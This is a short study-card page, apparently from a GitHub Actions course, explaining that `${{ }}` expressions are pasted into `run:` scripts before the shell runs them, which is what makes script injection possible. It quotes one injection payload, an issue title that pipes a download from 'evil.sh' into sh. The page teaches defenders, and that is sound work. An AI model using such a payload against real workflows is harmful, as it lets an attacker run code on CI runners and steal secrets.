What does `${{ }}` inside a `run:` actually do at runtime?
AdvancedConceptContexts, Expressions, Env & Outputs
Answer
GitHub evaluates the expression and pastes the resulting text into the script before writing the script to a temp file on the runner. The shell never sees the expression, only the substituted text. So run: echo "${{ github.event.issue.title }}" with a title of "; curl evil.sh | sh; echo " becomes three commands. Environment variables are different: the shell expands "$TITLE" as data. This single fact explains script injection.
More on Contexts, Expressions, Env & Outputs
List the available contexts and what each holds.BeginnerWhich contexts can you use in which keys? Give two examples that trip people up.AdvancedWhat are the expression operators and how do comparisons coerce types?IntermediateHow do you write a ternary in GitHub Actions expressions?IntermediateWhat do `contains`, `startsWith`, `endsWith`, `format` and `join` do?BeginnerWhat are object filters (`.*`) and how are they useful?Intermediate